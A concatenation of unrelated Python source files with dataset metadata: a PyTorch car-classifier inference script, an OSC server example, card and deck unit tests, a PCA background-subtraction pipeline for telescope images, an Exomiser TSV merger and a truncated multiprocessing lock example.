int(torch.__version__.split('.')[1])< 41:\nfrom tensorboardX import SummaryWriter\n# else:\n# from torch.utils.tensorboard import SummaryWriter\nimport pdb\nimport time\nos.environ['CUDA_DEVICE_ORDRE'] = 'PCI_BUS_ID'\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='dcl parameters')\n parser.add_argument('--data', dest='dataset',\n default='ItargeCar', type=str)\n parser.add_argument('--backbone', dest='backbone',\n default='resnet50', type=str)\n parser.add_argument('--b', dest='batch_size',\n default=8, type=int)\n parser.add_argument('--nw', dest='num_workers',\n default=0, type=int)\n parser.add_argument('--ver', dest='version',\n default='test', type=str)\n parser.add_argument('--detail', dest='discribe',\n default=None, type=str)\n parser.add_argument('--save', dest='resume',\n default=\"/NAS/shenjintong/DCL/net_model/training_descibe_41123_ItargeCar/model_best.pth\", type=str)\n parser.add_argument('--anno', dest='anno',\n default=None, type=str)\n parser.add_argument('--result_path', dest='result_path',\n default=\"/NAS/shenjintong/Dataset/ItargeCar/Result/DCL/raw_result/\", type=str)\n parser.add_argument('--size', dest='resize_resolution',\n default=512, type=int)\n parser.add_argument('--crop', dest='crop_resolution',\n default=448, type=int)\n parser.add_argument('--ss', dest='save_suffix',\n default=None, type=str)\n parser.add_argument('--acc_report', dest='acc_report',\n action='store_true')\n parser.add_argument('--swap_num', default=[7, 7],\n nargs=2, metavar=('swap1', 'swap2'),\n type=int, help='specify a range')\n parser.add_argument('--use_backbone', dest='use_backbone',\n action='store_false')\n parser.add_argument('--CAM', dest='CAM',\n action='store_true')\n parser.add_argument('--no_bbox', dest='no_bbox',\n action='store_true')\n parser.add_argument('--graph', dest='add_stureture_graph',\n action='store_true')\n parser.add_argument('--no_loc', dest='no_loc',\n action='store_true')\n parser.add_argument('--cv', dest='opencv_save',\n action='store_true')\n parser.add_argument('--log_dir', dest='log_dir',\n default=None, type=str)\n parser.add_argument('--feature', dest='feature',\n action='store_true')\n args = parser.parse_args()\n return args\n\n\ndef CAM_test(feature_conv, weight_softmax,shape,sw):\n # 挑选不同类别的图片进行验证，测试每张图在输入类别中的个数\n class_idx=[512,786,1078,1303,1869,1083,967,539,395,480,604,841]\n size_upsample = (shape[1], shape[0])\n nc, h, w = feature_conv.shape\n for i, idx in enumerate(class_idx):\n cam = np.dot(weight_softmax[idx],feature_conv.reshape((nc, h*w)))\n cam = cam.reshape(h, w)\n cam = cam - np.min(cam)\n cam_img = cam / np.max(cam)\n cam_img = np.uint8(255 * cam_img)\n heatmap = cv2.resize(cam_img, size_upsample)\n color_map = cv2.applyColorMap(heatmap.astype(np.uint8), cv2.COLORMAP_JET)\n attention_image = cv2.addWeighted(img, 0.5, color_map.astype(np.uint8), 0.5, 0)\n cv2.imwrite('imgs/test_%d_%d.jpg' % (i, idx), attention_image)\n attention_image = cv2.cvtColor(attention_image, cv2.COLOR_BGR2RGB)\n attention_image = attention_image.transpose((2, 0, 1))\n sw.add_image('attention_image', attention_image)\n\n\ndef returnCAM(args,feature_conv, weight_softmax, class_idx,img_name,dataset_pd,sw=None):\n if args.dataset=='ItargeCar'or args.dataset=='Itarge_car_no_wind':\n class_label = pd.read_csv(\"/NAS/shenjintong/Dataset/ItargeCar/csv_dataset/class_list.csv\")\n elif args.dataset=='ItargeCar_Brand':\n class_label = pd.read_csv(\"/NAS/shenjintong/Dataset/ItargeCar/csv_dataset/brand_class_list.csv\")\n class_label.columns = ['label','class']\n bz, nc, h, w = feature_conv.shape\n for i, idx in enumerate(class_idx):\n count = args.batch_cnt_val * args.batch_size + i\n # 提取预测和标签信息\n size_upsample = (448, 448)\n data=dataset_pd.loc[[count]]\n\n class_name = class_label.query('label==%d' % idx).values[0, 1]\n index=data['Unnamed: 0'].values[0]\n predicted=class_name.split('-')[0]\n true_class=data['class'].values[0].split('-')[0]\n x0 = data['x0'].values[0]\n x1 = data['x1'].values[0]\n y0 = data['y0'].values[0]\n y1 = data['y1'].values[0]\n # 只保存错误标记的图片\n if not predicted==true_class:\n # 图片读取与处理\n img = cv2.imread(img_name[i])\n if not args.no_bbox:\n if not x0 == y1 == x1 == 0:\n img = img[y0:y1, x0:x1]\n # CAM 提取\n cam = np.dot(weight_softmax[idx],feature_conv[i].reshape((nc, h*w)))\n cam = cam.reshape(h, w)\n cam = cam - np.min(cam)\n cam_img = cam / np.max(cam)\n cam_img = np.uint8(255 * cam_img)\n heatmap=cv2.resize(cam_img, size_upsample)\n img = cv2.resize(img, size_upsample)\n color_map = cv2.applyColorMap(heatmap.astype(np.uint8), cv2.COLORMAP_JET)\n attention_image = cv2.addWeighted(img, 0.5, color_map.astype(np.uint8), 0.5, 0)\n # 结果打印\n string=\"实际标签: %s\\n预测结果: %s\" %(data['class'].values[0].replace('(','').replace(')',''),class_name)\n attention_image = cv2ImgAddText(attention_image, string, 10, 10, (255, 0, 0), 20)\n # 输出方式选择\n # 保存路径为： ./imgs//test_\n if sw is not None:\n attention_image = cv2.cvtColor(attention_image, cv2.COLOR_BGR2RGB)\n attention_image = attention_image.transpose((2, 0, 1))\n sw.add_image('attention_image', attention_image)\n else:\n mkdir(os.path.join(\"imgs\", args.discribe))\n cv2.imwrite(os.path.join(\"imgs\", args.discribe,'%s_%d.jpg' % (data['class'].values[0],index)), attention_image)\n\ndef cv2ImgAddText(img, text, left, top, textColor=(0, 255, 0), textSize=20):\n from PIL import Image, ImageDraw, ImageFont\n if (isinstance(img, np.ndarray)): #判断是否OpenCV图片类型\n img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n draw = ImageDraw.Draw(img)\n fontText = ImageFont.truetype('/NAS/shenjintong/Dataset/ItargeCar/scripts/simsun.ttc', textSize, encoding=\"utf-8\")\n draw.text((left, top), text, textColor, font=fontText)\n return cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR)\n\n\ndef mkdir(path):\n path = path.strip()\n path = path.rstrip(\"\\\\\")\n isExists = os.path.exists(path)\n\n if not isExists:\n os.makedirs(path)\n print(path + ' successful created')\n return True\n\ndef single_CAM(feature_conv, weight_softmax, class_idx,shape,dataset_pd,sw=None):\n # generate the class activation maps upsample to 256x256\n # print predicted result\n class_label = pd.read_csv('/NAS/shenjintong/Dataset/ItargeCar/class_list.csv')\n class_name = class_label.query('model0219==%d' % class_idx).values[0, 1]\n\n index=dataset_pd['Unnamed: 0'].values[0]\n predicted=class_name.split('-')[0]\n true_brand=dataset_pd['class'].values[0].split('-')[0]\n if not predicted==true_brand:\n size_upsample = (shape[1], shape[0])\n nc, h, w = feature_conv.shape\n cam = np.dot(weight_softmax[class_idx],feature_conv.reshape((nc, h*w)))\n cam = cam.reshape(h, w)\n cam = cam - np.min(cam)\n cam_img = cam / np.max(cam)\n cam_img = np.uint8(255 * cam_img)\n heatmap=cv2.resize(cam_img, size_upsample)\n color_map = cv2.applyColorMap(heatmap.astype(np.uint8), cv2.COLORMAP_JET)\n attention_image = cv2.addWeighted(img, 0.5, color_map.astype(np.uint8), 0.5, 0)\n string=\"标签： %s\\n预测结果: %s \" %(dataset_pd['class'].values[0],class_name)\n attention_image = cv2ImgAddText(attention_image, string, 10, 10, (255, 0, 0), 20)\n if sw is not None:\n attention_image = cv2.cvtColor(attention_image, cv2.COLOR_BGR2RGB)\n attention_image = attention_image.transpose((2, 0, 1))\n sw.add_image('attention_image', attention_image)\n else:\n mkdir(os.path.join(\"imgs\",args.discribe))\n cv2.imwrite(os.path.join(\"imgs\", args.discribe,'test_%d.jpg' % (index)), attention_image)\n\n\nif __name__ == '__main__':\n args = parse_args()\n # args.dataset='ItargeCar_0520'\n # args.backbone='resnet50'\n # args.batch_size=2\n # args.num_workers=2\n # args.version='test'\n # args.resume=\"/NAS/shenjintong/DCL/net_model/DCL_0520data_147_129_refine_51415_ItargeCar_0520/model_best.pth\"\n # # args.resume =\"/NAS/shenjintong/Tools/mmdnn/pytorch2caffe/DCL/DCL.pth\"\n # args.discribe='feature'\n # args.resize_resolution=147\n # args.crop_resolution=129\n # # args.anno=\"/NAS/shenjintong/Tools/mmdnn/pytorch2caffe/inference_set.csv\"\n # args.result_path=\"/NAS/shenjintong/Tools/mmdnn/pytorch2caffe/\"\n # args.feature=True\n print(args)\n print(args.anno)\n # # todo: debug\n # args.anno = \"/NAS/shenjintong/Dataset/ItargeCar/class_originbox/test_info.csv\"\n # args.resume= \"/NAS/shenjintong/DCL/net_model/DCL_512_448_41123_ItargeCar/model_best.pth\"\n # args.CAM=True\n # args.opencv_save=True\n\n\n Config = LoadConfig(args, args.version)\n Config.cls_2xmul = True\n Config.cls_2 = False\n Config.no_loc = args.no_loc\n # sw define\n Config.size=(args.crop_resolution,args.crop_resolution)\n if args.log_dir:\n sw_log = args.log_dir\n sw = SummaryWriter(log_dir=sw_log)\n\n transformers = load_data_transformers(args.resize_resolution, args.crop_resolution, args.swap_num)\n\n # 由于args.version的作用只是自动选择对应的标记文件进行读取，去除version设置直接使用文件路径输入\n if args.anno:\n dataset_pd = pd.read_csv(args.anno)\n else:\n dataset_pd = Config.val_anno if args.version == 'val' else Config.test_anno\n\n data_set = dataset(Config,\\\n anno=dataset_pd,\\\n swap=transformers[\"None\"],\\\n totensor=transformers['test_totensor'],\\\n test=True)\n\n dataloader = torch.utils.data.DataLoader(data_set,\\\n batch_size=args.batch_size,\\\n shuffle=False,\\\n num_workers=args.num_workers,\\\n collate_fn=collate_fn4test)\n\n setattr(dataloader, 'total_item_len', len(data_set))\n\n cudnn.benchmark = True\n\n model = MainModel(Config)\n model_dict=model.state_dict()\n pretrained_dict=torch.load(args.resume)\n pretrained_dict = {k[7:]: v for k, v in pretrained_dict.items() if k[7:] in model_dict}\n model_dict.update(pretrained_dict)\n model.load_state_dict(model_dict)\n\n # add tensorboard graph of structure\n if args.log_dir:\n if args.add_stureture_graph:\n dummy_input = (torch.zeros(1, 3, args.crop_resolution, args.crop_resolution))\n outputs = model(dummy_input)\n sw.add_graph(model, dummy_input)\n\n # get weight of feature 3202*2048, DCL 对应着－４层全职，ResNet50 对应着\n params=list(model.parameters())\n weight_softmax = np.squeeze(params[-3].data.numpy())\n\n model.cuda()\n model = nn.DataParallel(model)\n model.train(False)\n\n if args.feature:\n result=[]\n # feature = pd.DataFrame(columns=range(len(data_set)))\n\n with torch.no_grad():\n result_1=[]\n confidence_1=[]\n all_result=[]\n feature=[]\n val_size = ceil(len(data_set) / dataloader.batch_size)\n result_gather = {}\n count_bar = tqdm(total=dataloader.__len__())\n count = 0\n Total_time = 0.0\n for batch_cnt_val, data_val in enumerate(dataloader):\n args.batch_cnt_val=batch_cnt_val\n count_bar.update(1)\n inputs, labels, img_name = data_val\n inputs = Variable(inputs.cuda())\n # labels = Variable(torch.from_numpy(np.array(labels)).long().cuda())\n T1=time.time()\n outputs = model(inputs)\n outputs_pred = outputs[0]\n # add all reuslt save\n # all_result.extend(outputs_pred.cpu().numpy().tolist())\n outputs_pred_soft=F.softmax(outputs_pred)\n # print(time.time()-T1)\n Total_time+=time.time()-T1\n\n # add all reuslt save\n all_result.extend(outputs_pred_soft.cpu().numpy().tolist())\n outputs_confidence, outputs_predicted = torch.max(outputs_pred_soft, 1)\n outputs_feature,_= torch.max(outputs_pred, 1)\n if args.feature:\n # result.append(outputs_pred.cpu().numpy()[0].tolist()[])\n result.append(outputs_confidence.cpu().numpy()[0].tolist())\n result.append(outputs_predicted.cpu().numpy()[0].tolist())\n if args.CAM:\n # visualization of the feature maps\n if args.opencv_save:\n # single_CAM(outputs[3].cpu().numpy()[image_in_batch], weight_softmax,\n # outputs_predicted[image_in_batch], img.shape,data)\n returnCAM(args, outputs[3].cpu().numpy(), weight_softmax, outputs_predicted, img_name, dataset_pd)\n else:\n returnCAM(args, outputs[3].cpu().numpy(), weight_softmax, outputs_predicted, img_name, dataset_pd,sw)\n # single_CAM(outputs[3].cpu().numpy()[image_in_batch], weight_softmax,\n # outputs_predicted[image_in_batch], img.shape,data,sw)\n # CAM_test(outputs[3].cpu().numpy()[image_in_batch], weight_softmax, img.shape, sw)\n\n result_1.extend(outputs_predicted.cpu().numpy().tolist())\n confidence_1.extend(outputs_confidence.cpu().numpy().tolist())\n feature.extend(outputs_feature.cpu().numpy().tolist())\n\n all_result=np.array(all_result)\n predicted_1 = pd.Series(result_1)\n\n dataset_pd['predicted'] = predicted_1\n dataset_pd['confidence']=pd.Series(confidence_1)\n dataset_pd['feature']=pd.Series(feature)\n average_time=Total_time/len(data_set)\n print(\"Average_time: %.4f\" %average_time)\n\n if args.discribe:\n if not os.path.exists(os.path.join(args.result_path, args.discribe)):\n os.mkdir(os.path.join(args.result_path, args.discribe))\n if args.version=='test':\n save_path = os.path.join(args.result_path, args.discribe,'test_raw_result.csv')\n else:\n save_path = os.path.join(args.result_path, args.discribe, 'val_raw_result.csv')\n dataset_pd.to_csv(save_path)\n if args.feature:\n m_index = pd.MultiIndex.from_product([['cv'], range(10), ['feature', 'index']],\n names=[\"resize_type\", \"image_index\", \"predicted\"])\n predicted = pd.DataFrame(result, index=m_index)\n predicted.columns.names = ['Top1-5']\n predicted.to_csv(\"/NAS/shenjintong/Tools/mmdnn/pytorch2caffe/predicted_cv.csv\")\n # save_path=os.path.join(args.result_path, args.discribe, 'feature.csv')\n # feature.to_csv(save_path)\n # save_npy = os.path.join(args.result_path, args.save_name.split('.')[0]+'.npy')\n # np.save(save_npy,all_result)\n\n\n","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":16822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"460873020","text":"#/usr/bin/env python3\n\"\"\"Small example OSC server\n\nfrom: https://github.com/kivy/oscpy\n\nServer (thread)\n\"\"\"\nfrom oscpy.server import OSCThreadServer\nfrom time import sleep\n\ndef callback(*values):\n print(\"got values: {}\".format(values))\n\nosc = OSCThreadServer() # See sources for all the arguments\n\n# You can also use an \\*nix socket path here\nsock = osc.listen(address='0.0.0.0', port=8000, default=True)\n# osc.bind(b'/address', callback)\nosc.bind(b'/ping', callback)\nsleep(1000)\nosc.stop() # Stop the default socket\n\nosc.stop_all() # Stop all sockets\n\n# Here the server is still alive, one might call osc.listen() again\n\nosc.terminate_server() # Request the handler thread to stop looping\n\nosc.join_server() # Wait for the handler thread to finish pending tasks and exit","sub_path":"osc/oscpy/osc_server.py","file_name":"osc_server.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301747968","text":"import unittest\nfrom card.card import Card\nfrom deck.deck import Deck\n\n\nclass CardTestCase(unittest.TestCase):\n # Unit tests for Card class\n\n def test_card_representation(self):\n # Is card representation correct?\n card = Card(\"A\", \"\\u2666\")\n self.assertEqual(str(card), \"A\")\n card = Card(\"10\", \"\\u2666\")\n self.assertEqual(str(card), \"10\")\n\n def test_card_is_ace(self):\n # Is an Ace recognised correctly?\n card = Card(\"A\", \"\\u2666\")\n self.assertTrue(card.suit)\n\n\nclass DeckTestCase(unittest.TestCase):\n # Unit tests for Deck class\n\n def test_size_of_deck(self):\n # Are there 52 cards in the deck?\n new_deck = Deck()\n self.assertTrue(len(new_deck.deck), 52)\n\n def test_shuffle_randomizes_deck(self):\n # Does the deck get shuffled?\n first_deck = Deck()\n first_deck.shuffle()\n second_deck = Deck()\n second_deck.shuffle()\n self.assertNotEqual(str(first_deck), str(second_deck))\n\n def test_deal_removes_a_card(self):\n # Does a deal remove one card from the deck?\n deck = Deck()\n the_number_before = len(deck.deck)\n the_number_after = len(deck.deck)\n self.assertEqual(the_number_before, the_number_after)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_modules.py","file_name":"test_modules.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192434315","text":"\n# coding: utf-8\n\n# In[ ]:\n\n# This does PCA background subtraction of the AC Her data, specifically\n# 1. reads in PCA component cube\n# 2. masks and subtracts the median (just a constant) from each science frame\n# 2. decomposes each science frame into its PCA components (with a mask over the PSF)\n# 3. subtracts the reconstructed background\n# 4. saves the background-subtracted images\n\n# created 2018 Aug 20 by E.S.\n\n\n# In[1]:\n\nfrom modules import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\nfrom astropy.io import fits\nimport pandas as pd\nfrom datetime import datetime\nimport os\nimport sklearn\nfrom sklearn.decomposition import PCA\nfrom sklearn.decomposition import RandomizedPCA\nimport time\nfrom regions import PixCoord, CircleSkyRegion, CirclePixelRegion, PolygonPixelRegion\nfrom pyregion import read_region_as_imagecoord, get_mask\nimport time\nimport multiprocessing as mp\nfrom multiprocessing import Process, Queue, Pool\nget_ipython().magic(u'matplotlib inline')\n#%matplotlib qt\n\n\n# In[2]:\n\n# stem \n\nstem = ('/home/../../media/unasemaje/Elements/lbti_data_reduction/180524_fizeau_ac_her/01_BPM_readout_glitch_correction/')\n#stem = ('/Users/nyumbani/Downloads/')\n\n\n# # FCN TO DO PCA SUBTRACTION OF RANGE OF\n# # SCIENCE FRAMES\n\n# In[3]:\n\ndef pca_fit_and_subtract_parallel(inputArray):\n \n '''\n INPUTS:\n a 1D array with \n [0]: cube_start_framenum: starting frame number of the PCA component cube\n [1]: cube_stop_framenum: stopping frame number (inclusive) \" \"\n [2]: sci_framenum: science images to subtract from\n [3]: n_PCA: number of PCA components to reconstruct the background with\n \n OUTPUTS:\n none; the background-subtracted FITS files are written back out\n '''\n \n # unpack values\n cube_start_framenum = inputArray[0]\n cube_stop_framenum = inputArray[1]\n sci_framenum = inputArray[2]\n n_PCA = inputArray[3]\n\n # read in PCA cube\n cube_string = (stem+'pca_cubes/background_PCA_hunzikerStyle_seqStart_'\n +str(\"{:0>6d}\".format(cube_start_framenum))+'_seqStop_'+str(\"{:0>6d}\".format(cube_stop_framenum))+'.fits')\n pca_cube = fits.getdata(cube_string,0,header=False)\n\n # apply mask over weird detector regions to PCA cube\n pca_cube = np.multiply(pca_cube,mask_weird)\n \n # science filename string (note this has already been classically background-subtracted)\n img_string = stem+'../02_classical_background_subted/02b_second_attempt/lm_180524_'+str(\"{:0>6d}\".format(sci_framenum))+'.fits'\n\n # if FITS science file exists in the first place\n if ((np.mod(sci_framenum,1) == 0) & os.path.isfile(img_string)): \n \n start_time = time.time()\n print('Found file '+'lm_180524_'+str(\"{:0>6d}\".format(sci_framenum))+'.fits') \n \n # read in science image\n sciImg, header = fits.getdata(img_string,0,header=True)\n \n # apply mask over weird detector regions to science image\n sciImg = np.multiply(sciImg,mask_weird)\n \n ## mask the PSF\n \n # define region\n psf_loc = find_airy_psf(sciImg) # center of science PSF\n print('PSF location:')\n print(psf_loc)\n radius = 30.\n\n # skip frame if detected PSF is so close to the edge that the masked region goes off the frame\n # (this can be an issue if, for example, both Airy PSFs are not overlapped in the first place)\n if np.logical_or(psf_loc[0]+radius > np.shape(sciImg)[0], psf_loc[0]-radius < 0):\n continue\n\n center = PixCoord(x=psf_loc[1], y=psf_loc[0])\n region = CirclePixelRegion(center, radius)\n mask_psf_region = region.to_mask()\n # apply the mask to science array\n psf_mask = np.ones(np.shape(sciImg)) # initialize arrays of same size as science image\n mask_psf_region.data[mask_psf_region.data == 1] = np.nan # make zeros within mask cutout (but not in the mask itself) nans\n mask_psf_region.data[mask_psf_region.data == 0] = 1\n ##mask_psf_region.data[mask_psf_region.data == -99999] = 0 # have to avoid nans in the linear algebra\n psf_mask[mask_psf_region.bbox.slices] = mask_psf_region.data # place the mask cutout (consisting only of 1s) onto the array of nans\n sciImg_masked = np.multiply(sciImg,psf_mask) # this is now the masked science frame \n \n # subtract the median (just a constant) from the remaining science image\n sciImg_psf_masked = np.subtract(sciImg_masked,np.nanmedian(sciImg_masked)) # where PSF is masked\n sciImg_psf_not_masked = np.subtract(sciImg,np.nanmedian(sciImg_masked)) # where PSF is not masked\n \n # apply the PSF mask to PCA slices, with which we will do the fitting\n pca_cube_masked = np.multiply(pca_cube,psf_mask) \n \n ## PCA-decompose\n \n # flatten the science array and PCA cube \n pca_not_masked_1ds = np.reshape(pca_cube,(np.shape(pca_cube)[0],np.shape(pca_cube)[1]*np.shape(pca_cube)[2]))\n sci_masked_1d = np.reshape(sciImg_psf_masked,(np.shape(sciImg_masked)[0]*np.shape(sciImg_masked)[1]))\n pca_masked_1ds = np.reshape(pca_cube_masked,(np.shape(pca_cube_masked)[0],np.shape(pca_cube_masked)[1]*np.shape(pca_cube_masked)[2]))\n \n ## remove nans from the linear algebra\n \n # indices of finite elements over a single flattened frame\n idx = np.logical_and(np.isfinite(pca_masked_1ds[0,:]), np.isfinite(sci_masked_1d)) \n \n # reconstitute only the finite elements together in another PCA cube and a science image\n pca_masked_1ds_noNaN = np.nan*np.ones((len(pca_masked_1ds[:,0]),np.sum(idx))) # initialize array with slices the length of number of finite elements\n for t in range(0,len(pca_masked_1ds[:,0])): # for each PCA component, populate the arrays without nans with the finite elements\n pca_masked_1ds_noNaN[t,:] = pca_masked_1ds[t,idx]\n sci_masked_1d_noNaN = np.array(1,np.sum(idx)) # science frame\n sci_masked_1d_noNaN = sci_masked_1d[idx] \n \n # the vector of component amplitudes\n soln_vector = np.linalg.lstsq(pca_masked_1ds_noNaN[0:n_PCA,:].T, sci_masked_1d_noNaN)\n \n # reconstruct the background based on that vector\n # note that the PCA components WITHOUT masking of the PSF location is being\n # used to reconstruct the background\n recon_backgrnd_2d = np.dot(pca_cube[0:n_PCA,:,:].T, soln_vector[0]).T\n \n # do the actual subtraction\n sciImg_subtracted = np.subtract(sciImg_psf_not_masked,recon_backgrnd_2d)\n \n # save reconstructed background for checking\n hdul = fits.PrimaryHDU(recon_backgrnd_2d, header=header)\n hdul.writeto(stem + '../03_pca_background_subted/reconstructed_backgrounds/recon_background_'+str(\"{:0>6d}\".format(sci_framenum))+'_nPCA'+str(\"{:0>3d}\".format(n_PCA))+'.fits', \n overwrite=True)\n \n # save masked science frame BEFORE background-subtraction\n hdul = fits.PrimaryHDU(sciImg_psf_masked, header=header)\n hdul.writeto(stem + '../03_pca_background_subted/masked_science_frames/masked_science_frame_pre_bkgrnd_subt_'+str(\"{:0>6d}\".format(sci_framenum))+'.fits', \n overwrite=True) \n \n # write masked background-subtracted science frame (and occasionally background frames) out\n background_subtracted_masked = np.multiply(sciImg_subtracted,mask_weird)\n background_subtracted_masked = np.multiply(background_subtracted_masked,psf_mask)\n hdul = fits.PrimaryHDU(background_subtracted_masked, header=header)\n hdul.writeto(stem + '../03_pca_background_subted/masked_science_frames/masked_science_frame_post_bkgrnd_subt_'+str(\"{:0>6d}\".format(sci_framenum))+'_nPCA'+str(\"{:0>3d}\".format(n_PCA))+'.fits', \n overwrite=True)\n \n \n # write background-subtracted science frame (and occasionally background frames) out\n hdul = fits.PrimaryHDU(sciImg_subtracted, header=header)\n hdul.writeto(stem + '../03_pca_background_subted/lm_180524_'+str(\"{:0>6d}\".format(sci_framenum))+'_nPCA'+str(\"{:0>3d}\".format(n_PCA))+'.fits', \n overwrite=True)\n print('Frame '+str(\"{:0>6d}\".format(sci_framenum))+' written out. PCA = '+str(n_PCA))\n print('Elapsed time:')\n elapsed_time = time.time() - start_time\n print('--------------------------------------------------------------')\n print(elapsed_time)\n \n else:\n \n print('No file '+'lm_180524_'+str(\"{:0>6d}\".format(sci_framenum))+'.fits')\n print('--------------------------------------------------------------')\n\n\n# In[4]:\n\n# for background subtracting with 100 PCA components\n\nnPCA = 100\n\n# array containing, for each nod, \n# [0]: starting frame of background sequence\n# [1]: ending frame of background sequence (inclusive)\n# [2]: starting science frame to background-subtract\n# [3]: ending science frame to background-subtract (inclusive)\n# [4]: number of PCA components to use in background reconstruction\n\n# this contains the info for the whole dataset\nparameterArray = [[2083, 2282, 83, 2082, nPCA],\n [4683, 4882, 2283, 4682, nPCA],\n [7285, 7483, 4883, 7284, nPCA],\n [9484, 9683, 7484, 9483, nPCA],\n [11684, 11883, 9682, 11683, nPCA],\n [13884, 14083, 11884, 13883, nPCA],\n [16084, 16283, 14084, 16083, nPCA],\n [18284, 18483, 16284, 18283, nPCA],\n [25884, 26083, 18484, 21683, nPCA],\n [25884, 26083, 23884, 25883, nPCA],\n [28084, 28283, 26084, 28083, nPCA],\n [28084, 28283, 28284, 28883, nPCA],\n [30884, 31083, 28884, 30883, nPCA],\n [32884, 33083, 31084, 32883, nPCA],\n [34884, 35083, 33084, 34883, nPCA],\n [37084, 37283, 35084, 37083, nPCA],\n [39284, 39483, 37284, 39283, nPCA],\n [41484, 41683, 39484, 41483, nPCA],\n [44577, 44776, 41684, 44576, nPCA],\n [46777, 47076, 44777, 46776, nPCA],\n [49077, 49276, 47077, 49076, nPCA],\n [51277, 51676, 49277, 51276, nPCA],\n [53677, 53876, 51677, 53676, nPCA],\n [55877, 56108, 53877, 55876, nPCA],\n [58110, 58308, 56109, 58109, nPCA],\n [60309, 60508, 58309, 60308, nPCA],\n [62509, 62708, 60509, 62508, nPCA],\n [64709, 64908, 62709, 64708, nPCA],\n [66909, 67108, 64909, 66908, nPCA]]\n\n\n# In[5]:\n\ndef return_array_one_block(sliceArray):\n '''\n This takes a 1D array with background frame range, science frame range, and N_PCA information\n and returns an expanded array where each row corresponds to a single science array\n '''\n \n # INPUT: an array containing \n # [0]: starting frame of background sequence\n # [1]: ending frame of background sequence (inclusive)\n # [2]: starting science frame to background-subtract\n # [3]: ending science frame to background-subtract (inclusive)\n # [4]: number of PCA components to use in background reconstruction\n \n # OUTPUT: an array of arrays where each element corresponds to the \n # parameters of a single science image (i.e., the input array elements\n # [0], [1], [4] are replicated for each science frame. \n \n # unpack some values\n science_start_frame = sliceArray[2]\n science_end_frame = sliceArray[3]\n \n sliceArrayTiled = np.tile(sliceArray,(science_end_frame-science_start_frame+1,1)) # tile, where each row corresponds to a science frame\n sliceArrayTiled2 = np.delete(sliceArrayTiled,2,1) # delete col [2]\n\n # convert new col [2] (old col [3]) to be entries for individual frame numbers\n for sciframeNum in range(science_start_frame,science_end_frame+1):\n t = int(sciframeNum-science_start_frame) # index denoting the row\n sliceArrayTiled2[t][2] = int(sciframeNum) # insert frame number\n \n # The table now involves columns\n # [0]: background_start_frame\n # [1]: background_end_frame\n # [2]: science frame number\n # [3]: number of PCA components to reconstruct the background\n\n return sliceArrayTiled2\n\n\n# In[6]:\n\ndef main():\n \n ncpu = mp.cpu_count()\n print('Number cores: '+str(int(ncpu)))\n \n start_time_very_beginning = time.time()\n \n # loop over every nod position and pool the reduction over all science frames in that nod\n for r in range(0,np.shape(parameterArray)[0]):\n pool = Pool(ncpu) # create pool object\n print('Working on reducing parameter array')\n print(parameterArray[r])\n indivSciFramesArray = return_array_one_block(parameterArray[r]) # take info for that nod block, and return array for individual science frames\n list_dicts = pool.map(pca_fit_and_subtract_parallel,indivSciFramesArray) # map the individual science frames across cores\n print('---------------------------------')\n \n elapsed_time_since_beginning = time.time() - start_time_very_beginning\n print('Total elapsed time: '+str(elapsed_time_since_beginning))\n\n\n# In[ ]:\n\n##################\n\n# do it!\nif __name__ == '__main__':\n main()\n","sub_path":"pca_background_subtraction_parallel.py","file_name":"pca_background_subtraction_parallel.py","file_ext":"py","file_size_in_byte":13355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554722285","text":"#!/usr/bin/env python\n\nimport argparse\nimport glob\n\nimport pandas as pd\n\n\n\"\"\"\nMerge multiple exomiser TSVS into a single TSV\n\n\"\"\"\n\n\nparser = argparse.ArgumentParser(description='Merge multiple exomiser TSVS into a single TSV')\nparser.add_argument('--tsv_variant_pattern', type=str, nargs=1, required=True,\n\t\t\t\thelp='TSV pattern e.g. *.variants.tsv')\nparser.add_argument('--output', type=str, nargs=1, required=False,\n\t\t\t\thelp='Output TSV location')\n\n\nargs = parser.parse_args()\n\ntsv_variant_pattern = args.tsv_variant_pattern[0]\noutput = args.output[0]\n\ncolumns = ['#CHROM',\n\t\t 'POS',\n\t\t 'REF',\n\t\t 'ALT',\n\t\t 'EXOMISER_GENE',\n\t\t 'EXOMISER_VARIANT_SCORE',\n\t\t 'EXOMISER_GENE_PHENO_SCORE',\n\t\t 'EXOMISER_GENE_VARIANT_SCORE',\n\t\t 'EXOMISER_GENE_COMBINED_SCORE',\n\t\t 'CONTRIBUTING_VARIANT']\n\n\n# get TSV files\ntsv_variant_files = glob.glob(tsv_variant_pattern)\n\nmaster_df = pd.DataFrame()\n\n# load TSV files\nfor tsv in tsv_variant_files:\n\t\n\ttemp_df = pd.read_csv(tsv, sep='\\t')\n\t\n\ttemp_df = temp_df[columns]\n\t\n\ttemp_df['file'] = tsv\n\t\n\tmaster_df = master_df.append(temp_df)\n\n\n# sort by score\nmaster_df.sort_values('EXOMISER_GENE_COMBINED_SCORE', ascending=False, inplace=True)\n\n# write to file\nmaster_df.to_csv(output, sep='\\t', index=False)\n","sub_path":"bin/merge_exomiser_tsvs.py","file_name":"merge_exomiser_tsvs.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397346179","text":"#!/user/bin/env python\n# -*- coding: utf-8 -*-\n\nimport multiprocessing\nimport os\nimport random\n\nimport time\n\n\n# MultiProcess Lock\n# 当多个进程需要访问共享资源的时候，Lock可以用来避免访问的冲突。\ndef worker_with(lock, file):\n with lock:\n fs = open(file, 'a+')\n n = 2\n while n > 0:\n fs.write(\"Lock acquired via with\\n\")\n n -= 1\n fs.close()\n\n\ndef worker_no_with(lock, file):\n lock.acquire()\n try:\n fs = open(file, 'a+')\n n = 2\n while n > 0:\n fs.write(\"Lock acquired 